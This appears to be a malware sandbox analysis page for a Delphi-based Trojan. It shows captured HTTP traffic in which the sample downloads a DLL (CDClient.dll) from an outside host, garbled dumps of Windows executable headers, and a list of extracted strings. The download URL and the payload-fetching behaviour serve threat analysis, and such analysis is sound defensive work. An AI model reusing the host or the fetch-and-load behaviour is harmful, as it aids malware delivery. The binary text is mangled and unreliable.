Last-Modified: Tue, 30 Aug 2016 05:59:59 GMT

Content-Type: application/octet-stream

Content-Length: 196608

X-Via: 1.1 jfzh181:7 (Cdn Cache Server V2.0), 1.1 db78:1 (Cdn Cache Server V2.0)

Connection: keep-alive

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2*..\y..\y..\y...y..\y...y..\y...y..\y...y..\y..]y..\y...y..\y...y..\y...y..\y...y..\yRich..\y........................PE..L......W...........!.........>.......@.......................................P............@..................................6..P.... .......................0..H....................................0..@...............@............................text............................... ..`.rdata..tM.......N..................@..@.data...l....@.......0..............@....rsrc........ ......................@..@.reloc..H....0......................@..B........................................................................................................................................................................................................................................................................................................................................U..j.hP1..h.i..d.....P...SVW..@..1E.3.P.E.d......e.3..u.d.0....E..u..E..x.......;.......f.y,.su.A0....nt...Nuf.P...tt...TuY.P...dt...DuL.P...lt...Lu?.P...lt...Lu2.x..u,.P...dt...Du..P...lt...Lu......<lt.<Lu..q......u..........e.3..u..E........M.d......Y_^[..].............U..j.hp1..h.i..d.....P...SVW..@..1E.3.P.E.d......e..E......MZ..f9.t..E.....2..M.d......Y_^[..]..A<...8PE..u............e.2..E..E......M.d......Y_^[..]..........U..j.h.1..h.i..d.....P...SVW..@..1E.3.P.E.d......e..E......u..I.N.u.

<<< skipped >>>

GET /d2/CDClient.dll HTTP/1.1

Host: VVV.go890.com

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Date: Fri, 02 Sep 2016 07:16:50 GMT

Server: kangle/2.9.6

Last-Modified: Fri, 02 Sep 2016 05:54:55 GMT

Content-Type: application/octet-stream

Content-Length: 832000

X-Via: 1.1 fuzhou183:2 (Cdn Cache Server V2.0), 1.1 db78:1 (Cdn Cache Server V2.0)

Connection: keep-alive

DUP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................|....................@.................................................................................................................................................................................................CODE....................PEC2^O...... ....rsrc....0.......&.................. ....reloc..............................@...................................................................................................................................................................................................................................................................................................................................................................................................................Q...b.. .........c....X.........b..._.....J>b.d.I.....i5.R......-.X.,So.....Wp.eAbk......7i.....8x......j...o$.f....e.Xa...V....b.C.n...9H..TC.J-......].L .b|C.*{?..@...a..w..Q.s...."..\...3KO.w.....V.....^.#b.l......<.q.C<.......].6..t..E..s.oT.f0...vn.=.l.D.....6\@..Cg.B.._.I5O.......K...}..I...Gi..A>.L..j3..{..=.....Q.fG.{...?.A.G.q...Q............9..\..R.......O.....X}.S.m...D.Z...4.[S$..T(C/.t.x.J6..H.;./?..\.7..i...;...L%Z..mX..........wj.,9g..p..)....8q....<..jPY..$..Yl..UIwI.....|75..

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_228:

`.rsrc

kernel32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

u%CNu

%s[%d]

1.2.8

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

WS2_32.DLL

127.0.0.1

TIdSocketListWindows

TIdStackWindowsU

IdStackWindows

Uh.bB

%s, %.2d %s %.4d %s %s

%s, %d %s %d %s %s

TIdEncoder3to4.Encode: Calculated length exceeded (expected

%Program Files%\Borland\Delphi7\Source\Indy\Source\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length not met (expected

password

Password

IdHTTPHeaderInfo

ProxyPassword

ProxyPort

Mozilla/3.0 (compatible; Indy Library)

ftpTransfer

ftpReady

ftpAborted

ClientPortMin

ClientPortMax

Port

EIdCanNotBindPortInRange

EIdInvalidPortRangeSVW

libeay32.dll

ssleay32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

des_set_key

saUsernamePassword

Password

0.0.0.1

TIdTCPConnection

IdTCPConnection

EIdTCPConnectionError

Vh(%C

Uh

sslvrfFailIfNoPeerCert

TPasswordEvent

Certificate

RootCertFile

CertFile

KeyFilel3C

OnGetPassword

EIdOSSLLoadingRootCertError8?C

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

TIdTCPClient

IdTCPClient

BoundPort

PortU

CommentURL

TIdHTTPMethod

IdHTTP

TIdHTTPOption

TIdHTTPOptions

TIdHTTPProtocolVersion

IdHTTP`

TIdHTTPOnRedirectEvent

TIdHTTPResponse

TIdHTTPResponse(

TIdHTTPRequest

TIdHTTPProtocol

TIdCustomHTTP

TIdHTTP

TIdHTTP$

HTTPOptions\

EIdHTTPProtocolException

application/x-www-form-urlencoded

HTTPS

https

This request method is supported in HTTP 1.1

HTTP/1.0 200 OK

HTTP/

%d.%d.%d.%d

;8=$:$:$;

b~~z0%%cz$ik~x$id%

KERNEL32.DLL

TIdUDPBase

TIdUDPBaseh?D

IdUDPBase

255.255.255.255

TIdUDPClient

IdUDPClient

Port

&tn

&unc

&vendor

&

&&

&

&Error

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps